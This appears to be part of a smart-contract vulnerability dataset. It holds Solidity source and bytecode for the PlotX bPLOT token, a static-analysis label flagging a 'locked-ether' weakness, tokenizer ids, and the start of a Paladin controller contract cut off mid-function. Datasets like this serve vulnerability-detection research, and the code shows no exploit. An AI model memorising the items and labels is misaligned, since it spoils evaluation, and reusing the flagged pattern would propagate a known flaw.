* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: contracts/external/openzeppelin-solidity/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: contracts/external/proxy/Proxy.sol
pragma solidity 0.5.7;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
}
// File: contracts/external/proxy/UpgradeabilityProxy.sol
pragma solidity 0.5.7;
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
// Storage position of the address of the current implementation
bytes32 private constant IMPLEMENTATION_POSITION = keccak256("org.govblocks.proxy.implementation");
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address impl) {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
impl := sload(position)
}
}
/**
* @dev Sets the address of the current implementation
* @param _newImplementation address representing the new implementation to be set
*/
function _setImplementation(address _newImplementation) internal {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
sstore(position, _newImplementation)
}
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(address _newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != _newImplementation);
_setImplementation(_newImplementation);
emit Upgraded(_newImplementation);
}
}
// File: contracts/external/proxy/OwnedUpgradeabilityProxy.sol
pragma solidity 0.5.7;
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
// Storage position of the owner of the contract
bytes32 private constant PROXY_OWNER_POSITION = keccak256("org.govblocks.proxy.owner");
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor(address _implementation) public {
_setUpgradeabilityOwner(msg.sender);
_upgradeTo(_implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function proxyOwner() public view returns (address owner) {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
owner := sload(position)
}
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address _newOwner) public onlyProxyOwner {
require(_newOwner != address(0));
_setUpgradeabilityOwner(_newOwner);
emit ProxyOwnershipTransferred(proxyOwner(), _newOwner);
}
/**
* @dev Allows the proxy owner to upgrade the current version of the proxy.
* @param _implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address _implementation) public onlyProxyOwner {
_upgradeTo(_implementation);
}
/**
* @dev Sets the address of the owner
*/
function _setUpgradeabilityOwner(address _newProxyOwner) internal {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
sstore(position, _newProxyOwner)
}
}
}
// File: contracts/interfaces/IMaster.sol
pragma solidity 0.5.7;
contract IMaster {
function dAppToken() public view returns(address);
function isInternal(address _address) public view returns(bool);
function getLatestAddress(bytes2 _module) public view returns(address);
function isAuthorizedToGovern(address _toCheck) public view returns(bool);
}
// File: contracts/interfaces/Iupgradable.sol
pragma solidity 0.5.7;
contract Iupgradable {
/**
* @dev change master address
*/
function setMasterAddress() public;
}
// File: contracts/bLOTToken.sol
/* Copyright (C) 2020 PlotX.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity 0.5.7;
contract BLOT is Iupgradable {
using SafeMath for uint256;
using Roles for Roles.Role;
string public constant name = "PlotXBonusToken";
string public constant symbol = "bPLOT";
uint8 public constant decimals = 18;
Roles.Role private _minters;
address public operator;
address public plotToken;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
mapping (address => uint256) internal _balances;
bool private initiated;
uint256 private _totalSupply;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Checks if msg.sender is token operator address.
*/
modifier onlyOperator() {
require(msg.sender == operator, "Only operator");
_;
}
modifier onlyMinter() {
require(
isMinter(msg.sender),
"MinterRole: caller does not have the Minter role"
);
_;
}
/**
* @dev Initiates the BLOT with default minter address
*/
function initiatebLOT(address _defaultMinter) public {
require(!initiated);
initiated = true;
_addMinter(_defaultMinter);
}
/**
* @dev Changes the master address and update it's instance
*/
function setMasterAddress() public {
OwnedUpgradeabilityProxy proxy = OwnedUpgradeabilityProxy(
address(uint160(address(this)))
);
require(msg.sender == proxy.proxyOwner(), "Sender is not proxy owner.");
require(plotToken == address(0), "Already Initialized");
IMaster ms = IMaster(msg.sender);
plotToken = ms.dAppToken();
operator = ms.getLatestAddress("TC");
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
* Transfer is restricted to minter only
*/
function transfer(address recipient, uint256 amount)
public
onlyMinter
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev See `ERC20._mint`.
*
* Requirements:
*
* - the caller must have the `MinterRole`.
* - equivalant number of PLOT will be transferred from sender to this contract
*/
function mint(address account, uint256 amount)
public
onlyMinter
returns (bool)
{
require(
IERC20(plotToken).transferFrom(msg.sender, address(this), amount),
"Error in transfer"
);
_mint(account, amount);
return true;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function convertToPLOT(
address _of,
address _to,
uint256 amount
) public onlyOperator {
_burn(_of, amount);
require(IERC20(plotToken).transfer(_to, amount), "Error in transfer");
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Check if `account` has minting rights
*/
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
/**
* @dev Add `account` as minter
*/
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
/**
* @dev Renounce self as minter
*/
function renounceMinter() public {
_removeMinter(msg.sender);
}
/**
* @dev Add `account` as minter
*/
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
/**
* @dev Remove `account` from minter role
*/
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610281578063aa271e1a146102ad578063dd2ed6a7146102d3578063fac3603714610309576100f5565b806370a082311461022557806395d89b411461024b578063983b2d56146102535780639865027514610279576100f5565b8063313ce567116100d3578063313ce567146101b557806340c10f19146101d35780634b6199b014610213578063570ca7351461021d576100f5565b806306fdde03146100fa578063161a226e1461017757806318160ddd1461019b575b600080fd5b61010261032f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017f610368565b604080516001600160a01b039092168252519081900360200190f35b6101a3610377565b60408051918252519081900360200190f35b6101bd61037d565b6040805160ff9092168252519081900360200190f35b6101ff600480360360408110156101e957600080fd5b506001600160a01b038135169060200135610382565b604080519115158252519081900360200190f35b61021b6104b2565b005b61017f6106fb565b6101a36004803603602081101561023b57600080fd5b50356001600160a01b031661070a565b610102610725565b61021b6004803603602081101561026957600080fd5b50356001600160a01b0316610749565b61021b61079c565b6101ff6004803603604081101561029757600080fd5b506001600160a01b0381351690602001356107a7565b6101ff600480360360208110156102c357600080fd5b50356001600160a01b03166107fb565b61021b600480360360608110156102e957600080fd5b506001600160a01b03813581169160208101359091169060400135610813565b61021b6004803603602081101561031f57600080fd5b50356001600160a01b0316610954565b6040518060400160405280600f81526020017f506c6f7458426f6e7573546f6b656e000000000000000000000000000000000081525081565b6002546001600160a01b031681565b60055490565b601281565b600061038d336107fb565b6103cb57604051600160e51b62461bcd028152600401808060200182810382526030815260200180610f676030913960400191505060405180910390fd5b60025460408051600160e01b6323b872dd0281523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561042857600080fd5b505af115801561043c573d6000803e3d6000fd5b505050506040513d602081101561045257600080fd5b505161049f5760408051600160e51b62461bcd0281526020600482015260116024820152600160791b7022b93937b91034b7103a3930b739b332b902604482015290519081900360640190fd5b6104a9838361097a565b50600192915050565b6000309050806001600160a01b031663025313a26040518163ffffffff1660e01b815260040160206040518083038186803b1580156104f057600080fd5b505afa158015610504573d6000803e3d6000fd5b505050506040513d602081101561051a57600080fd5b50516001600160a01b0316331461057b5760408051600160e51b62461bcd02815260206004820152601a60248201527f53656e646572206973206e6f742070726f7879206f776e65722e000000000000604482015290519081900360640190fd5b6002546001600160a01b0316156105dc5760408051600160e51b62461bcd02815260206004820152601360248201527f416c726561647920496e697469616c697a656400000000000000000000000000604482015290519081900360640190fd5b6000339050806001600160a01b031663eaf2c4776040518163ffffffff1660e01b815260040160206040518083038186803b15801561061a57600080fd5b505afa15801561062e573d6000803e3d6000fd5b505050506040513d602081101561064457600080fd5b5051600280546001600160a01b0319166001600160a01b0392831617905560408051600160e31b6227050b028152600160f01b615443026004820152905191831691630138285891602480820192602092909190829003018186803b1580156106ac57600080fd5b505afa1580156106c0573d6000803e3d6000fd5b505050506040513d60208110156106d657600080fd5b5051600180546001600160a01b0319166001600160a01b039092169190911790555050565b6001546001600160a01b031681565b6001600160a01b031660009081526003602052604090205490565b604051806040016040528060058152602001600160da1b6418941313d50281525081565b610752336107fb565b61079057604051600160e51b62461bcd028152600401808060200182810382526030815260200180610f676030913960400191505060405180910390fd5b61079981610a6f565b50565b6107a533610ab7565b565b60006107b2336107fb565b6107f057604051600160e51b62461bcd028152600401808060200182810382526030815260200180610f676030913960400191505060405180910390fd5b6104a9338484610aff565b600061080d818363ffffffff610c4916565b92915050565b6001546001600160a01b031633146108755760408051600160e51b62461bcd02815260206004820152600d60248201527f4f6e6c79206f70657261746f7200000000000000000000000000000000000000604482015290519081900360640190fd5b61087f8382610cb3565b60025460408051600160e01b63a9059cbb0281526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156108d857600080fd5b505af11580156108ec573d6000803e3d6000fd5b505050506040513d602081101561090257600080fd5b505161094f5760408051600160e51b62461bcd0281526020600482015260116024820152600160791b7022b93937b91034b7103a3930b739b332b902604482015290519081900360640190fd5b505050565b60045460ff161561096457600080fd5b6004805460ff1916600117905561079981610a6f565b6001600160a01b0382166109d85760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6005546109eb908263ffffffff610d9116565b6005556001600160a01b038216600090815260036020526040902054610a17908263ffffffff610d9116565b6001600160a01b03831660008181526003602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b610a8060008263ffffffff610df516565b6040516001600160a01b038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b610ac860008263ffffffff610e7916565b6040516001600160a01b038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b6001600160a01b038316610b4757604051600160e51b62461bcd028152600401808060200182810382526025815260200180610ffb6025913960400191505060405180910390fd5b6001600160a01b038216610b8f57604051600160e51b62461bcd028152600401808060200182810382526023815260200180610f446023913960400191505060405180910390fd5b6001600160a01b038316600090815260036020526040902054610bb8908263ffffffff610ee316565b6001600160a01b038085166000908152600360205260408082209390935590841681522054610bed908263ffffffff610d9116565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60006001600160a01b038216610c9357604051600160e51b62461bcd028152600401808060200182810382526022815260200180610fb86022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b6001600160a01b038216610cfb57604051600160e51b62461bcd028152600401808060200182810382526021815260200180610fda6021913960400191505060405180910390fd5b600554610d0e908263ffffffff610ee316565b6005556001600160a01b038216600090815260036020526040902054610d3a908263ffffffff610ee316565b6001600160a01b0383166000818152600360209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b600082820183811015610dee5760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b610dff8282610c49565b15610e545760408051600160e51b62461bcd02815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b610e838282610c49565b610ec157604051600160e51b62461bcd028152600401808060200182810382526021815260200180610f976021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b600082821115610f3d5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373a165627a7a723058204b85df07e69abfdd23bec557e7332ae1d62b1f1b0bff04217b7011c946f95a1d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22203,
2278,
27531,
2509,
2278,
2475,
2497,
2692,
2050,
2475,
2050,
2581,
2683,
2581,
27531,
2581,
20958,
24087,
2692,
2063,
2575,
4783,
2546,
2487,
2278,
2629,
2063,
27009,
2629,
2094,
2620,
2581,
1013,
1013,
5371,
1024,
8311,
1013,
6327,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
2515,
2025,
2421,
1008,
1996,
11887,
4972,
1025,
2000,
3229,
2068,
2156,
1036,
9413,
2278,
11387,
3207,
14162,
2098,
1036,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,411 | 0x951cab249cA907313c9a510Ae1B7A0Dfb24dCBBd | //██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
import "./utils/SafeMath.sol";
import "./IPaladinController.sol";
import "./ControllerStorage.sol";
import "./ControllerProxy.sol";
import "./PalPool.sol";
import "./IPalPool.sol";
import "./IPalToken.sol";
import "./utils/IERC20.sol";
import "./utils/SafeERC20.sol";
import "./utils/Errors.sol";
/** @title Paladin Controller contract */
/// @author Paladin
contract PaladinController is IPaladinController, ControllerStorage {
using SafeMath for uint;
using SafeERC20 for IERC20;
// Prevent reentry in deposit & withdraw
modifier lock() {
require(!locked, Errors.LOCKED);
locked = true;
_;
locked = false;
}
constructor(){
admin = msg.sender;
}
/**
* @notice Check if an address is a valid palPool
* @return bool : result
*/
function isPalPool(address _pool) public view override returns(bool){
//Check if the given address is in the palPools list
address[] memory _pools = palPools;
for(uint i = 0; i < _pools.length; i++){
if(_pools[i] == _pool){
return true;
}
}
return false;
}
/**
* @notice Get all the PalTokens listed in the controller
* @return address[] : List of PalToken addresses
*/
function getPalTokens() external view override returns(address[] memory){
return palTokens;
}
/**
* @notice Get all the PalPools listed in the controller
* @return address[] : List of PalPool addresses
*/
function getPalPools() external view override returns(address[] memory){
return palPools;
}
/**
* @notice Set the basic PalPools/PalTokens controller list
* @param _palTokens array of address of PalToken contracts
* @param _palPools array of address of PalPool contracts
* @return bool : Success
*/
function setInitialPools(address[] memory _palTokens, address[] memory _palPools) external override adminOnly returns(bool){
require(!initialized, Errors.POOL_LIST_ALREADY_SET);
require(_palTokens.length == _palPools.length, Errors.LIST_SIZES_NOT_EQUAL);
palPools = _palPools;
palTokens = _palTokens;
initialized = true;
for(uint i = 0; i < _palPools.length; i++){
//Update the Reward State for the new Pool
PoolRewardsState storage supplyState = supplyRewardState[_palPools[i]];
if(supplyState.index == 0){
supplyState.index = initialRewardsIndex;
}
supplyState.blockNumber = safe32(block.number);
//Link PalToken with PalPool
palTokenToPalPool[_palTokens[i]] = _palPools[i];
}
return true;
}
/**
* @notice Add a new PalPool/PalToken couple to the controller list
* @param _palToken address of the PalToken contract
* @param _palPool address of the PalPool contract
* @return bool : Success
*/
function addNewPool(address _palToken, address _palPool) external override adminOnly returns(bool){
//Add a new address to the palToken & palPool list
require(!isPalPool(_palPool), Errors.POOL_ALREADY_LISTED);
palTokens.push(_palToken);
palPools.push(_palPool);
palTokenToPalPool[_palToken] = _palPool;
//Update the Reward State for the new Pool
PoolRewardsState storage supplyState = supplyRewardState[_palPool];
if(supplyState.index == 0){
supplyState.index = initialRewardsIndex;
}
supplyState.blockNumber = safe32(block.number);
//The other Reward values should already be set at 0 :
//BorrowRatio : 0
//SupplySpeed : 0
//If not set as 0, we want to use last values (or change them with the adequate function beforehand)
emit NewPalPool(_palPool, _palToken);
return true;
}
/**
* @notice Remove a PalPool from the list (& the related PalToken)
* @param palPool address of the PalPool contract to remove
* @return bool : Success
*/
function removePool(address palPool) external override adminOnly returns(bool){
//Remove a palToken & palPool from the list
require(isPalPool(palPool), Errors.POOL_NOT_LISTED);
address[] memory _pools = palPools;
uint lastIndex = (_pools.length).sub(1);
for(uint i = 0; i < _pools.length; i++){
if(_pools[i] == palPool){
//get the address of the PalToken for the Event
address _palToken = palTokens[i];
delete palTokenToPalPool[_palToken];
//Replace the address to remove with the last one of the array
palPools[i] = palPools[lastIndex];
palTokens[i] = palTokens[lastIndex];
//And pop the last item of the array
palPools.pop();
palTokens.pop();
emit RemovePalPool(palPool, _palToken);
return true;
}
}
return false;
}
/**
* @notice Check if the given PalPool has enough cash to make a withdraw
* @param palPool address of PalPool
* @param amount amount withdrawn
* @return bool : true if possible
*/
function withdrawPossible(address palPool, uint amount) external view override returns(bool){
//Get the underlying balance of the palPool contract to check if the action is possible
PalPool _palPool = PalPool(palPool);
return(_palPool.underlyingBalance() >= amount);
}
/**
* @notice Check if the given PalPool has enough cash to borrow
* @param palPool address of PalPool
* @param amount amount ot borrow
* @return bool : true if possible
*/
function borrowPossible(address palPool, uint amount) external view override returns(bool){
//Get the underlying balance of the palPool contract to check if the action is possible
PalPool _palPool = PalPool(palPool);
return(_palPool.underlyingBalance() >= amount);
}
/**
* @notice Check if Deposit was correctly done
* @param palPool address of PalPool
* @param dest address to send the minted palTokens
* @param amount amount of palTokens minted
* @return bool : Verification Success
*/
function depositVerify(address palPool, address dest, uint amount) external view override returns(bool){
require(isPalPool(msg.sender), Errors.CALLER_NOT_POOL);
palPool;
dest;
//Check the amount sent isn't null
return amount > 0;
}
/**
* @notice Check if Withdraw was correctly done
* @param palPool address of PalPool
* @param dest address to send the underlying tokens
* @param amount amount of underlying token returned
* @return bool : Verification Success
*/
function withdrawVerify(address palPool, address dest, uint amount) external view override returns(bool){
require(isPalPool(msg.sender), Errors.CALLER_NOT_POOL);
palPool;
dest;
//Check the amount sent isn't null
return amount > 0;
}
/**
* @notice Check if Borrow was correctly done
* @param palPool address of PalPool
* @param borrower borrower's address
* @param amount amount of token borrowed
* @param feesAmount amount of fees paid by the borrower
* @param loanAddress address of the new deployed PalLoan
* @return bool : Verification Success
*/
function borrowVerify(address palPool, address borrower, address delegatee, uint amount, uint feesAmount, address loanAddress) external override returns(bool){
require(isPalPool(msg.sender), Errors.CALLER_NOT_POOL);
borrower;
delegatee;
amount;
feesAmount;
// Set the borrowRatio for this new Loan
if(autoBorrowRewards[palPool]) setLoanBorrowRewards(palPool, loanAddress); //Because some PalPool call this method as view
//So we need to know if the call can update storage or not
//If not, will need to use the Manual Borrow Reward claim system
//no method yet
return true;
}
/**
* @notice Check if Expand Borrow was correctly done
* @param loanAddress address of the PalLoan contract
* @param newFeesAmount new amount of fees in the PalLoan
* @return bool : Verification Success
*/
function expandBorrowVerify(address palPool, address loanAddress, uint newFeesAmount) external override returns(bool){
require(isPalPool(msg.sender), Errors.CALLER_NOT_POOL);
newFeesAmount;
// In case the Loan is expanded, the new ratio is used (in case the ratio changed)
if(autoBorrowRewards[palPool]) setLoanBorrowRewards(palPool, loanAddress); //Because some PalPool call this method as view
//So we need to know if the call can update storage or not
//If not, will need to use the Manual Borrow Reward claim system
//no method yet
return true;
}
/**
* @notice Check if Borrow Closing was correctly done
* @param palPool address of PalPool
* @param borrower borrower's address
* @param loanAddress address of the PalLoan contract to close
* @return bool : Verification Success
*/
function closeBorrowVerify(address palPool, address borrower, address loanAddress) external override returns(bool){
require(isPalPool(msg.sender), Errors.CALLER_NOT_POOL);
borrower;
//Accrue Rewards to the Loan's owner
if(autoBorrowRewards[palPool]) accrueBorrowRewards(palPool, loanAddress); //Because some PalPool call this method as view
//So we need to know if the call can update storage or not
//If not, will need to use the Manual Borrow Reward claim system
//no method yet
return true;
}
/**
* @notice Check if Borrow Killing was correctly done
* @param palPool address of PalPool
* @param killer killer's address
* @param loanAddress address of the PalLoan contract to kill
* @return bool : Verification Success
*/
function killBorrowVerify(address palPool, address killer, address loanAddress) external override returns(bool){
require(isPalPool(msg.sender), Errors.CALLER_NOT_POOL);
killer;
//Accrue Rewards to the Loan's owner
if(autoBorrowRewards[palPool]) accrueBorrowRewards(palPool, loanAddress); //Because some PalPool call this method as view
//So we need to know if the call can update storage or not
//If not, will need to use the Manual Borrow Reward claim system
//no method yet
return true;
}
// PalToken Deposit/Withdraw functions
function deposit(address palToken, uint amount) external lock override returns(bool){
address palPool = palTokenToPalPool[palToken];
require(isPalPool(palPool), Errors.POOL_NOT_LISTED);
address user = msg.sender;
IERC20 token = IERC20(palToken);
require(amount <= token.balanceOf(user), Errors.INSUFFICIENT_BALANCE);
updateSupplyIndex(palPool);
accrueSupplyRewards(palPool, user);
supplierDeposits[palPool][user] = supplierDeposits[palPool][user].add(amount);
totalSupplierDeposits[palPool] = totalSupplierDeposits[palPool].add(amount);
token.safeTransferFrom(user, address(this), amount);
emit Deposit(user, palToken, amount);
return true;
}
function withdraw(address palToken, uint amount) external lock override returns(bool){
address palPool = palTokenToPalPool[palToken];
require(isPalPool(palPool), Errors.POOL_NOT_LISTED);
address user = msg.sender;
require(amount <= supplierDeposits[palPool][user], Errors.INSUFFICIENT_DEPOSITED);
updateSupplyIndex(palPool);
accrueSupplyRewards(palPool, user);
IERC20 token = IERC20(palToken);
supplierDeposits[palPool][user] = supplierDeposits[palPool][user].sub(amount);
totalSupplierDeposits[palPool] = totalSupplierDeposits[palPool].sub(amount);
token.safeTransfer(user, amount);
emit Withdraw(user, palToken, amount);
return true;
}
// Rewards functions
/**
* @notice Internal - Updates the Supply Index of a Pool for reward distribution
* @param palPool address of the Pool to update the Supply Index for
*/
function updateSupplyIndex(address palPool) internal {
// Get last Pool Supply Rewards state
PoolRewardsState storage state = supplyRewardState[palPool];
// Get the current block number, and the Supply Speed for the given Pool
uint currentBlock = block.number;
uint supplySpeed = supplySpeeds[palPool];
// Calculate the number of blocks since last update
uint ellapsedBlocks = currentBlock.sub(uint(state.blockNumber));
// If an update is needed : block ellapsed & non-null speed (rewards to distribute)
if(ellapsedBlocks > 0 && supplySpeed > 0){
// Get the Total Amount deposited in the Controller of PalToken associated to the Pool
uint totalDeposited = totalSupplierDeposits[palPool];
// Calculate the amount of rewards token accrued since last update
uint accruedAmount = ellapsedBlocks.mul(supplySpeed);
// And the new ratio for reward distribution to user
// Based on the amount of rewards accrued, and the change in the TotalSupply
uint ratio = totalDeposited > 0 ? accruedAmount.mul(1e36).div(totalDeposited) : 0;
// Write new Supply Rewards values in the storage
